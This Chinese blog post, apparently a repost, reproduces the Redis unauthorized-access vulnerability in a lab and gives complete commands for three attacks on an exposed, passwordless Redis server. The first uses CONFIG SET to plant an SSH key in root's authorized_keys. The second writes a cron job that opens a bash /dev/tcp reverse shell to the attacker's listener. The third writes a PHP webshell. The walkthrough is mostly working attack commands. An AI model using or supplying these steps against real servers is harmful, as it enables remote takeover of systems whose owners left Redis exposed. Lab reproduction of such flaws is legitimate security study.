您好,登錄后才能下訂單哦!
這篇文章給大家分享的是有關redis漏洞復現的示例分析的內容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。
和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set(集 合)、zset(sorted set --有序集 合)和hash(哈希類型)。這些數據類型都支持push/pop、add/remove及取交集并集和差集及更豐富的操作,而且這些操作都是原子性的。在此基礎上,redis支持各種不同方式的排序。與memcached一樣,為了保證效率,數據都是緩存在內存中。區別的是redis會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,并且在此基礎上實現了master-slave(主從)同步。redis 是一個高性能的key-value數據庫。redis的出現,很大程度補償了memcached這類key/value存儲的不足,在部 分場合可以對關系數據庫起到很好的補充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。
redis 默認情況下,會綁定在 0.0.0.0:6379,,如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源 ip 訪問等,這樣會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作。
(1)redis綁定在 0.0.0.0:6379,且沒有進行添加防火墻規則避免其他非信任來源 ip 訪問等相關安全策略,直接暴露在公網;(2)沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務。
1. Redis以root身份運行,給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器2.將文件寫入周期性計劃任務,然后接受反彈shell3.如果搭建了web服務器,寫入webshell,控制服務器(此處因為是自己搭建的測試環境,只是將文件寫入了/tmp目錄,真實情況需要修改)
攻擊機(kali):192.168.163.131(需要自己搭建redis-cli,和服務器端搭建步驟一樣)靶機(centos):192.168.163.132
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gzcd redis
tar xzf redis-2.8.17.tar.gzcd redis-2.8.17make
cp redis-server /usr/bincp redis-cli /usr/bincp redis.conf /etc/redis.conf
redis-server /etc/redis.conf
(1)未授權訪問連接(無法連接)
redis-cli -h 192.168.163.132
(2)因為是本地搭建,沒有開啟6379端口對外開放,此處為了方便,直接關閉服務器(靶機)的防火墻
/etc/init.d/iptables stop
(3)kali攻擊機未授權訪問連接
redis-cli -h 192.168.163.132keys *
(4)在攻擊機中生成ssh公鑰和私鑰,密碼設置為空:
ssh-keygen -t rsa
(5)進入.ssh目錄,將生成的公鑰保存到1.txt:
cd /root/.ssh(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
(6)將保存ssh的公鑰1.txt寫入redis(使用redis-cli -h ip命令連接靶機,將文件寫入):
cat 1.txt | redis-cli -h 192.168.163.132 -x set crack
(7)并使用 CONFIG GET dir 命令得到redis備份的路徑:
CONFIG GET dir
(8)更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh),并且修改上傳公鑰文件的名稱為authorized_keys
config set dir /root/.sshCONFIG SET dbfilename authorized_keys
(9)檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,至此成功寫入ssh公鑰到靶機:
CONFIG GET dbfilenamesave
(10)查看服務器端已經成功寫入
(11)攻擊機成功登陸到服務器
ssh -i id_rsa root@192.168.163.132
在權限足夠的情況下,利用redis寫入文件到周期性計劃任務執行。(1)在kali攻擊機里面監聽指定端口
nc -lvnp 8888
(2)向服務器寫入文件
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1\n\n"config set dir /var/spool/cronconfig set dbfilename rootsave
(3)查看服務器端的寫入情況
(4)Kali攻擊機已經可以連接了(得到了反彈shell)
此處因為是自己搭建的測試環境,只是將文件寫入了/tmp目錄,真實情況需要修改,將文件寫入web路徑(1)寫入文件到/tmp目錄
config set dir /tmpconfig set dbfilename shell.phpset webshell "<?php phpinfo(); ?>"save
(2)查看服務器
備注:寫入webshell的時候,可以使用:
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
\r\n\r\n代表換行的意思,用redis寫入的文件會自帶一些版本信息,如果不換行可能會導致無法執行。
感謝各位的閱讀!關于“redis漏洞復現的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,讓大家可以學到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。